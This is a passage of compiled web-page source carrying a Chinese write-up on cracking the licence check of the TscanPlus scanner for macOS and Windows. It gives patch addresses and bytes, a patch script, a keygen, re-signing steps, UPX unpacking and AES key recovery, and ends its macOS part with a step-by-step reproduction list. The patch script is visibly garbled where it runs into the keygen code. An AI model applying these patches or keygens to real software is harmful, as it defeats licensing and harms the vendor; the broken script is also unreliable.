0x3FFFFFF)"})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{children:"\u5730\u5740"}),(0,s.jsx)(n.th,{children:"\u539f\u6307\u4ee4"}),(0,s.jsx)(n.th,{children:"\u6539\u4e3a"}),(0,s.jsx)(n.th,{children:"\u6548\u679c"}),(0,s.jsx)(n.th,{children:"\u5199\u5165 word"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x102a89394"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"CBZ \u2192 0x102a893cc"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsx)(n.td,{children:'\u8df3\u8fc7"\u65e0\u6548\u7684Key"\u9519\u8bef\u5206\u652f'}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1400000e"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x102a893d4"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"CBZ \u2192 0x102a893d8"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsx)(n.td,{children:"\u5f3a\u5236\u8d70 VIP \u5206\u652f"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000001"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x102a893e0"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"TBZ \u2192 0x102a893f4"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"XrgIp0N_yO"})," \u7ed3\u679c\u88ab\u5ffd\u7565"]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000001"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1004aba58"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"CBZ \u2192 0x1004abaf8"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"CSfeFGrv"})," \u6298\u53e0\u6821\u9a8c\u8df3\u8fc7"]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000028"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1004ad198"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"CBZ \u2192 0x1004ad238"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"RVNs3NL5L"})," IV \u6298\u53e0\u6821\u9a8c\u8df3\u8fc7"]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000028"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10043932c"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"TBNZ \u2192 0x100439370"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsx)(n.td,{children:"\u6c38\u4e0d\u8fc7\u671f"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000011"})})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["\u8865\u4e01\u811a\u672c\uff08",(0,s.jsx)(n.code,{children:"__text"})," \u6bb5\uff1a\u6587\u4ef6\u504f\u79fb = vaddr \u2212 0x100000000\uff09\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"import struct\nf = open('/tmp/ctf/tscan_plus','r+b'); base = 0x100000000\ndef patch(addr, target):\n imm = (target - addr) // 4\n f.seek(addr - base); f.write(struct.pack('>17) & 0xFFFFFFFF; k = (k*c1) & 0xFFFFFFFF\n h ^= k; h = (h<<13 | h>>19) & 0xFFFFFFFF; h = (h*5 + 0xe6546b64) & 0xFFFFFFFF\n h ^= len(data)\n h ^= h>>16; h = (h*0x85ebca6b) & 0xFFFFFFFF\n h ^= h>>13; h = (h*0xc2b2ae35) & 0xFFFFFFFF\n h ^= h>>16\n return h\n\ndef fold(s): # murmur3 \u5341\u8fdb\u5236\u7ed3\u679c\u524d 8 \u4f4d\u6309 base-16 \u89e3\u91ca\n return int(s[:8], 16)\n\ndef sig(f1, prefix="phase3"):\n return fold(str(murmur3_32((prefix + str(f1)).encode()))) ^ len(prefix)\n\nf1 = 12345\nprint(f"{f1}.12345.12345.{sig(f1)}.1") # -> 12345.12345.12345.658924676.1\n'})}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"4-\u8fd0\u884c\u9a8c\u8bc1\u6837\u672c-a",children:"4. \u8fd0\u884c\u9a8c\u8bc1\uff08\u6837\u672c A\uff09"}),"\n",(0,s.jsx)(n.p,{children:"\u539f\u59cb\u4e8c\u8fdb\u5236\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ ./tscan_plus -license 12345.12345.12345.658924676.1\n[ERROR] \u8ba4\u8bc1\u5931\u8d25: \u65e0\u6548\u7684Key (exit 1)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u7834\u89e3\u540e\uff08\u65b9\u6cd5 B + \u91cd\u7b7e\u540d\uff09\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ ./tscan_plus.cracked -license 12345.12345.12345.658924676.1\nVersion: 3.5.3 Expired: 2027.06.01 \u8ba4\u8bc1Vip\u7248\n[INFO] \u8ba4\u8bc1\u6210\u529f\uff0c\u7248\u672c\u7c7b\u578b: \u8ba4\u8bc1Vip\u7248\n[INFO] Vip\u72b6\u6001: 2027.06.01 (exit 0)\n"})}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"5-\u628a-vip\u72b6\u6001-\u8ba4\u8bc1\u5230-2099-\u5e74--\u6837\u672c-a-\u4e0a\u672a\u95ed\u5408\u539f\u56e0\u8bb0\u5f55",children:'5. "\u628a Vip\u72b6\u6001 \u8ba4\u8bc1\u5230 2099 \u5e74" \u2014\u2014 \u6837\u672c A \u4e0a\u672a\u95ed\u5408\uff0c\u539f\u56e0\u8bb0\u5f55'}),"\n",(0,s.jsx)(n.h3,{id:"51-\u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u6539\u5b57\u7b26\u4e32",children:"5.1 \u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u6539\u5b57\u7b26\u4e32"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5168\u6587\u4ef6\u5728\u7eaf\u6587\u672c\u3001XOR\u3001ADD\uff0c\u4ee5\u53ca ",(0,s.jsx)(n.code,{children:"sub_102B68A44"})," \u7684",(0,s.jsx)(n.strong,{children:"\u5b57\u8282\u5f62\u6001"}),"\u548c ",(0,s.jsx)(n.strong,{children:"int32-rune \u5f62\u6001"}),"\uff08\u53cd\u63a8 256 \u4e2a\u79cd\u5b50\uff09\u4e0b\u90fd\u641c\u4e0d\u5230 ",(0,s.jsx)(n.code,{children:"2027.06.01"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"Vip\u72b6\u6001"})," \u8d70 ",(0,s.jsx)(n.code,{children:"conf.UNXx_ve6"})," \u2192 ",(0,s.jsx)(n.code,{children:"*(string*)(ZptlguuF3yD5 + 24)"}),"\uff0c",(0,s.jsx)(n.code,{children:"ZptlguuF3yD5"})," \u662f ",(0,s.jsx)(n.code,{children:"conf.Init"})," \u8fd0\u884c\u65f6\u6784\u9020\u7684",(0,s.jsx)(n.strong,{children:"\u5806\u5bf9\u8c61"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u8be5\u5b57\u7b26\u4e32\u7531 ",(0,s.jsx)(n.code,{children:"conf.LdJuJbd0Sx07"})," \u628a 4 \u6bb5 garble \u7247\u6bb5\u89e3\u7801\u540e ",(0,s.jsx)(n.code,{children:"concatstring4"})," \u62fc\u51fa\uff1b",(0,s.jsx)(n.code,{children:"conf.init"})," \u91cc\u53e6\u4e00\u6761 ",(0,s.jsx)(n.code,{children:"UoEhcDLClOvs3(base64 @0x102DF13F1, 24)"})," \u8d70 ",(0,s.jsxs)(n.strong,{children:["AES-CBC\uff0ckey = IV = ",(0,s.jsx)(n.code,{children:"TIDETideTidEtide"})]}),"\uff08key = ",(0,s.jsx)(n.code,{children:"GWKfJgPdH0RoV8iN"})," \u7684\u56db\u6bb5 ",(0,s.jsx)(n.code,{children:"^0xD8"}),"\uff09\uff0c\u5f53\u524d blob ",(0,s.jsx)(n.code,{children:"XDO+lmEHawuskT+iyi2twg=="})," \u89e3\u51fa ",(0,s.jsx)(n.code,{children:"2028.01.01"}),"\uff1b\u628a ",(0,s.jsx)(n.code,{children:"2099.12.31"})," \u91cd\u65b0 PKCS7+CBC \u52a0\u5bc6\u5f97 ",(0,s.jsx)(n.code,{children:"xvUwHiQzJwM6INqkKCYNbw=="}),"\uff08\u6b63\u597d 24 \u5b57\u7b26\uff0c\u53ef\u539f\u5730\u8986\u76d6\uff09\u2014\u2014 \u4f46\u8fd9\u6761\u5199\u7684\u662f ",(0,s.jsx)(n.code,{children:"qword_10974DC20"})," \u90a3\u4e2a\u53d8\u91cf\uff0c",(0,s.jsx)(n.strong,{children:"\u4e0d\u662f"})," ",(0,s.jsx)(n.code,{children:"Vip\u72b6\u6001"})," \u7528\u7684\u90a3\u4e2a\uff0c\u6240\u4ee5\u663e\u793a\u4e0d\u53d8\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(n.h3,{id:"52-\u8bd5\u8fc7\u7684\u76f4\u8defruntimeprintstring\u4e0e\u5931\u8d25\u539f\u56e0",children:['5.2 \u8bd5\u8fc7\u7684"\u76f4\u8def"\uff08',(0,s.jsx)(n.code,{children:"runtime.printstring"}),"\uff09\u4e0e\u5931\u8d25\u539f\u56e0"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728 ",(0,s.jsx)(n.code,{children:"runLicenseCheck"})," \u7684 9 \u4e2a\u6307\u4ee4\u69fd ",(0,s.jsx)(n.code,{children:"0x102a89420..0x102a89440"})," \u6539\u6210\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-asm",children:"movabs x0, ; 'Vip\u72b6\u6001: 2099.12.31\\n'\uff0822B\uff0c\u4f4d\u4e8e __rodata \u672a\u88ab\u5f15\u7528\u7684 61B \u7a7a\u9699 0x102F006F6\uff09\nmov x1, #22\nbl runtime.printstring\nnop; nop; nop; nop\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7f16\u7801\u5df2\u9010\u6761\u7528 capstone \u53cd\u6c47\u7f16\u6821\u9a8c\uff08",(0,s.jsx)(n.code,{children:"ADRP"}),": ",(0,s.jsx)(n.code,{children:"immlo"})," \u5728 bit 29\u201330\u3001",(0,s.jsx)(n.code,{children:"immhi"})," \u5728 bit 5\u201323\u3001Rd \u5728 bit 4\u20130\uff1b",(0,s.jsx)(n.code,{children:"BL"}),": ",(0,s.jsx)(n.code,{children:"0x94000000 | (imm & 0x3FFFFFF)"}),"\uff0cimm \u5fc5\u987b\u6309 ",(0,s.jsx)(n.code,{children:"bl"})," \u81ea\u8eab\u5730\u5740\u8ba1\u7b97\uff1b",(0,s.jsx)(n.code,{children:"MOVZ/MOVK"})," \u57fa\u503c ",(0,s.jsx)(n.code,{children:"0xD2800000"})," / ",(0,s.jsx)(n.code,{children:"0xF2800000 + hw<<21"}),"\uff09\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b9e\u6d4b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u7528 IDA \u540d\u5b57\u91cc\u7684 ",(0,s.jsx)(n.code,{children:"runtime.printstring"}),"\uff08",(0,s.jsx)(n.code,{children:"0x1000492c0"}),"\uff09\u2192 ",(0,s.jsx)(n.code,{children:"fatal error: unexpected signal during runtime execution"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u7528\u8fd0\u884c\u671f\u56de\u6eaf\u91cc\u771f\u6b63\u7684 ",(0,s.jsx)(n.code,{children:"runtime.printstring"}),"\uff08",(0,s.jsx)(n.code,{children:"0x10076d2c0"}),"\uff09\u2192 ",(0,s.jsx)(n.code,{children:"SIGSEGV code=0x2 addr=0x102f00700"}),"\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u539f\u56e0\uff1a",(0,s.jsx)(n.code,{children:"0x10076d2c0"})," \u4f1a\u6267\u884c ",(0,s.jsx)(n.code,{children:"str x1, [x0, #0x18]"}),"\uff08\u628a\u7c7b\u578b\u6307\u9488\u5199\u8fdb ",(0,s.jsx)(n.code,{children:"x0"}),"\uff09\u2014\u2014 \u5b83\u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u5f53\u4f5c",(0,s.jsxs)(n.strong,{children:["\u53ef\u5199\u7684 ",(0,s.jsx)(n.code,{children:"*String"})," \u5934"]}),"\uff0c\u800c ",(0,s.jsx)(n.code,{children:"__rodata"})," / ",(0,s.jsx)(n.code,{children:"__DATA_CONST"})," \u8fd0\u884c\u65f6\u53ea\u8bfb \u21d2 \u4efb\u4f55\u6307\u5411 rodata \u7684\u5b57\u7b26\u4e32\u90fd\u4f1a\u5d29\u3002",(0,s.jsx)(n.code,{children:"__bss"}),"\uff08",(0,s.jsx)(n.code,{children:"0x109744DE0"})," \u8d77\uff09\u53ef\u5199\u4f46\u6587\u4ef6\u91cc ",(0,s.jsx)(n.code,{children:"offset 0"}),"\u3001\u6ca1\u6709\u9759\u6001\u5185\u5bb9\u53ef\u9884\u586b \u21d2 \u9759\u6001\u8865\u4e01\u7ed9\u4e0d\u51fa\u53ef\u5199\u7684 ",(0,s.jsx)(n.code,{children:"String"})," \u5934\u3002\u8981\u6210\u7acb\u5fc5\u987b\u8ba9\u5934\u843d\u5728\u8fd0\u884c\u65f6\u5806\u4e0a\uff08\u590d\u523b ",(0,s.jsx)(n.code,{children:"concatstrings"})," \u7684 alloc\uff09\uff0c\u7eaf\u9759\u6001\u8865\u4e01\u505a\u4e0d\u5230\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"53-\u6837\u672c-a-\u4e0a\u82e5\u4ecd\u8981-2099\u53ea\u6709\u4e24\u6761\u8def",children:"5.3 \u6837\u672c A \u4e0a\u82e5\u4ecd\u8981 2099\uff0c\u53ea\u6709\u4e24\u6761\u8def"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u6570\u636e\u5c42"}),"\uff1a\u5b8c\u6574\u590d\u523b ",(0,s.jsx)(n.code,{children:"TH_VJih0zt"})," \u7684\u9010\u6bb5\u79cd\u5b50/\u957f\u5ea6\u903b\u8f91\uff08\u79cd\u5b50\u8868\u4e0e\u957f\u5ea6\u6765\u81ea\u8fd0\u884c\u65f6 relocation\uff0c\u9700\u8981\u52a8\u6001\u786e\u8ba4\uff09\uff0c\u628a ",(0,s.jsx)(n.code,{children:"LdJuJbd0Sx07"})," \u7684 4 \u6bb5\u91cd\u65b0\u7f16\u7801\u6210 ",(0,s.jsx)(n.code,{children:"2099"}),"/",(0,s.jsx)(n.code,{children:".12"}),"/",(0,s.jsx)(n.code,{children:"."}),"/",(0,s.jsx)(n.code,{children:"31"}),"\uff0c\u539f\u5730\u8986\u76d6 \u2192 ",(0,s.jsx)(n.code,{children:"Expired"})," \u548c ",(0,s.jsx)(n.code,{children:"Vip\u72b6\u6001"})," \u4f1a\u540c\u65f6\u53d8\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u52a8\u6001\u786e\u8ba4"}),"\uff1a",(0,s.jsx)(n.code,{children:"lldb"})," \u65ad\u5728 ",(0,s.jsx)(n.code,{children:"runtime.printstring"})," / ",(0,s.jsx)(n.code,{children:"runtime.convTstring"}),"\uff0c\u628a\u8fd0\u884c\u65f6\u771f\u6b63\u4f7f\u7528\u7684 ",(0,s.jsx)(n.code,{children:"ZptlguuF3yD5+24"})," \u6253\u51fa\u6765\uff0c\u518d\u53cd\u63a8 4 \u6bb5\u7f16\u7801\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"6-\u590d\u73b0\u6e05\u5355",children:"6. \u590d\u73b0\u6e05\u5355"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.code,{children:"cp /tmp/ctf/tscan_plus /tmp/ctf_crack/tscan_plus.cracked"})}),"\n",(0,s.jsxs)(n.li,{children:["\u6309\u7b2c 2 \u8282\u5199 6 \u4e2a ",(0,s.jsx)(n.code,{children:"B"})," \u6307\u4ee4\uff08\u7528 capstone \u9010\u6761\u6821\u9a8c imm\uff09"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"codesign --remove-signature"})," + ",(0,s.jsx)(n.code,{children:"codesign -s - --force"})]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"keygen.py"})," \u9020 key\uff0c\u8fd0\u884c ",(0,s.jsx)(n.code,{children:"-license"})," \u9a8c\u8bc1"]}),"\n"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"7-\u5de5\u5177\u4e0e\u76ee\u5f55\u7ea6\u5b9a\u4e3a\u4ec0\u4e48\u811a\u672c\u548c\u6570\u636e\u5206\u5f00\u653e",children:"7. \u5de5\u5177\u4e0e\u76ee\u5f55\u7ea6\u5b9a\uff08\u4e3a\u4ec0\u4e48\u811a\u672c\u548c\u6570\u636e\u5206\u5f00\u653e\uff09"}),"\n",(0,s.jsxs)(n.p,{children:["\u89c4\u5219\u662f\uff1a",(0,s.jsx)(n.strong,{children:"\u4e0b\u8f7d/\u89e3\u5305\u7684\u4e0d\u53ef\u4fe1\u6570\u636e\u5404\u81ea\u72ec\u5360\u4e00\u4e2a\u7a7a\u76ee\u5f55\uff0c\u81ea\u5df1\u5199\u7684\u811a\u672c\u653e\u5728\u53e6\u4e00\u4e2a\u76ee\u5f55"}),"\uff08\u89e3\u91ca\u5668\u4f1a\u4ece\u811a\u672c\u6240\u5728\u76ee\u5f55\u548c\u5f53\u524d\u76ee\u5f55\u52a0\u8f7d\u4ee3\u7801\uff0c\u4e00\u4e2a planted ",(0,s.jsx)(n.code,{children:"json.py"})," \u4f1a\u5728 ",(0,s.jsx)(n.code,{children:"import json"})," \u65f6\u6267\u884c\uff09\u3002\u6240\u4ee5\u6837\u672c\u5728 ",(0,s.jsx)(n.code,{children:"/tmp/ctf/"}),"\u3001\u4ea7\u7269\u5728 ",(0,s.jsx)(n.code,{children:"/tmp/ctf_crack/"}),"\u3001\u811a\u672c\u5728 ",(0,s.jsx)(n.code,{children:"/tmp/ctf_work/"}),"\uff0c\u8bfb\u6570\u636e\u7684 Python \u4e00\u5f8b ",(0,s.jsx)(n.code,{children:"python3 -I"}),"\u3002"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"8-windows-\u7248\u6837\u672c-c-ida-\u91cc\u770b\u4e0d\u5230\u51fd\u6570\u5b57\u7b26\u4e32\u7684\u539f\u56e0\u4e0e\u7834\u89e3",children:"8. Windows \u7248\uff08\u6837\u672c C\uff09\u2014\u2014 IDA \u91cc\u770b\u4e0d\u5230\u51fd\u6570/\u5b57\u7b26\u4e32\u7684\u539f\u56e0\u4e0e\u7834\u89e3"}),"\n",(0,s.jsx)(n.h3,{id:"81-\u4e3a\u4ec0\u4e48-ida-\u7684-idb-\u662f\u7a7a\u7684",children:"8.1 \u4e3a\u4ec0\u4e48 IDA \u7684 IDB \u662f\u7a7a\u7684"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"~/Downloads/TscanPlus_Win_Amd64/TscanPlus_Win_Amd64.exe"})," \u662f ",(0,s.jsx)(n.strong,{children:"UPX \u52a0\u58f3"}),"\u7684 Go PE\uff08\u6bb5\u540d ",(0,s.jsx)(n.code,{children:"UPX0"}),"/",(0,s.jsx)(n.code,{children:"UPX1"}),"\uff0c",(0,s.jsx)(n.code,{children:"UPX0"})," rawsize=0\uff09\u3002\u6240\u4ee5 IDA \u91cc\u53ea\u6709 ",(0,s.jsx)(n.code,{children:"start"}),"\u3001",(0,s.jsx)(n.code,{children:"list_strings_filter"})," \u5168\u7a7a \u2014\u2014 pclntab \u548c\u4ee3\u7801\u90fd\u8fd8\u5728\u538b\u7f29\u6d41\u91cc\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u89e3\u5305\uff08\u6807\u51c6 UPX\uff0c\u53ef\u76f4\u63a5 ",(0,s.jsx)(n.code,{children:"upx -d"}),"\uff09\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sh",children:"upx -d exe.orig -o exe.unpacked # 42,532,152 -> 135,535,928\uff0cwin64/pe\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u89e3\u5305\u540e\uff1aGo ",(0,s.jsx)(n.strong,{children:"1.25.10"})," / amd64\uff0c\u540c\u6837\u662f garble \u6df7\u6dc6\uff08",(0,s.jsx)(n.code,{children:"bogus error 2"}),"\u3001",(0,s.jsx)(n.code,{children:"BogusInterface"}),"\u3001",(0,s.jsx)(n.code,{children:"selfcheck: hash mismatch"}),"\u3001",(0,s.jsx)(n.code,{children:"bogus_hardware"}),"\u3001",(0,s.jsx)(n.code,{children:"bogus_data"})," \u662f\u5b83\u7684\u81ea\u4e00\u81f4\u6027\u6821\u9a8c\u4e0e\u8bf1\u9975\u5206\u652f\uff09\u3002\n",(0,s.jsx)(n.code,{children:"go tool nm"})," \u5bf9\u8fd9\u4e2a\u6587\u4ef6\u62a5 ",(0,s.jsx)(n.code,{children:"no symbols"}),"\uff08Go 1.25 \u7684 pclntab \u5e03\u5c40 + PE \u65e0 COFF \u7b26\u53f7\u8868\uff0cobjfile \u8bfb\u4e0d\u5230\uff09\uff0c\u6240\u4ee5\u51fd\u6570\u540d\u53ea\u80fd\u9760 ",(0,s.jsxs)(n.strong,{children:[(0,s.jsx)(n.code,{children:".pdata"}),"\uff08PE exception table\uff09"]})," \u62ff\u8fb9\u754c\uff1a\u6bcf\u6761 12 \u5b57\u8282 ",(0,s.jsx)(n.code,{children:"{BeginRVA, EndRVA, UnwindRVA}"}),"\uff0c30678 \u4e2a\u51fd\u6570\uff0c\u8fb9\u754c\u5b8c\u6574\u53ef\u7528\uff1b\u518d\u914d capstone \u53cd\u6c47\u7f16\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u6bb5\u8868\uff08\u89e3\u5305\u540e\uff09\uff1a"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{children:"\u6bb5"}),(0,s.jsx)(n.th,{children:"vaddr(RVA)"}),(0,s.jsx)(n.th,{children:"vsize"}),(0,s.jsx)(n.th,{children:"raw"}),(0,s.jsx)(n.th,{children:"rawsize"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:".text"})}),(0,s.jsx)(n.td,{children:"0x1000"}),(0,s.jsx)(n.td,{children:"0x27504a0"}),(0,s.jsx)(n.td,{children:"0x400"}),(0,s.jsx)(n.td,{children:"0x2750600"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:".rdata"})}),(0,s.jsx)(n.td,{children:"0x2d2f000"}),(0,s.jsx)(n.td,{children:"0x52082d0"}),(0,s.jsx)(n.td,{children:"0x2d2ce00"}),(0,s.jsx)(n.td,{children:"0x5208400"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:".pdata"})}),(0,s.jsx)(n.td,{children:"0x7f39000"}),(0,s.jsx)(n.td,{children:"0xe6088"}),(0,s.jsx)(n.td,{children:"0x7f35400"}),(0,s.jsx)(n.td,{children:"0xe6200"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:".bss"})}),(0,s.jsx)(n.td,{children:"0x8027000"}),(0,s.jsx)(n.td,{children:"0xa5c20"}),(0,s.jsx)(n.td,{children:"\u2014"}),(0,s.jsx)(n.td,{children:"\u2014"})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["imagebase ",(0,s.jsx)(n.code,{children:"0x140000000"}),"\uff0c",(0,s.jsx)(n.code,{children:"file offset = vaddr - 0x140000000 - 0xC00"}),"\uff08",(0,s.jsx)(n.code,{children:".text"}),"\uff09\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"82-x64-\u7248\u65b9\u6cd5-b\u957f\u5ea6\u4e0d\u53d8\u6539\u5b8c\u76f4\u63a5\u80fd\u8dd1\u4e0d\u9700\u8981\u91cd\u7b7e\u540d",children:"8.2 x64 \u7248\u65b9\u6cd5 B\uff08\u957f\u5ea6\u4e0d\u53d8\uff0c\u6539\u5b8c\u76f4\u63a5\u80fd\u8dd1\uff0c\u4e0d\u9700\u8981\u91cd\u7b7e\u540d\uff09"}),"\n",(0,s.jsxs)(n.p,{children:["arm64 \u4e0a\u662f ",(0,s.jsx)(n.code,{children:"B"}),"\uff1bx64 \u4e0a\u7b49\u4ef7\u505a\u6cd5\u662f ",(0,s.jsx)(n.code,{children:"jcc rel8"})," \u2192 ",(0,s.jsx)(n.code,{children:"jmp rel8"}),"\uff08",(0,s.jsx)(n.code,{children:"0x74\u21920xEB"}),"\uff0c",(0,s.jsx)(n.code,{children:"0x75\u21920xEB"}),"\uff09\uff0c\u6216\u8005\u628a ",(0,s.jsx)(n.code,{children:"jcc"})," \u76f4\u63a5\u6539\u6210\u7b49\u957f ",(0,s.jsx)(n.code,{children:"nop"}),"\uff08",(0,s.jsx)(n.code,{children:"0x90"}),"\uff09\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{children:"\u5730\u5740"}),(0,s.jsx)(n.th,{children:"\u539f\u6307\u4ee4\uff08\u5b57\u8282\uff09"}),(0,s.jsx)(n.th,{children:"\u6539\u6210"}),(0,s.jsx)(n.th,{children:"\u4f5c\u7528"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1404cc900"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"cmp rsp,[r14+0x10]; jbe; push rbp; mov rbp,rsp"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"xor eax,eax; xor ebx,ebx; ret; nop\xd74"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"conf.B0Uu8RPrb2"})," \u6052\u8fd4\u56de nil error\uff08key \u6821\u9a8c\u6574\u4f53\u653e\u884c\uff09"]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x142515e15"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"75 20"})," ",(0,s.jsx)(n.code,{children:"jne 0x142515e37"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"eb 20"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"cli.runLicenseCheck"}),' \u8df3\u8fc7"\u8bf7\u8f93\u5165 Key / \u7528\u6cd5"\u5206\u652f']})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x142515e48"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"74 31"})," ",(0,s.jsx)(n.code,{children:"je 0x142515e7b"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"eb 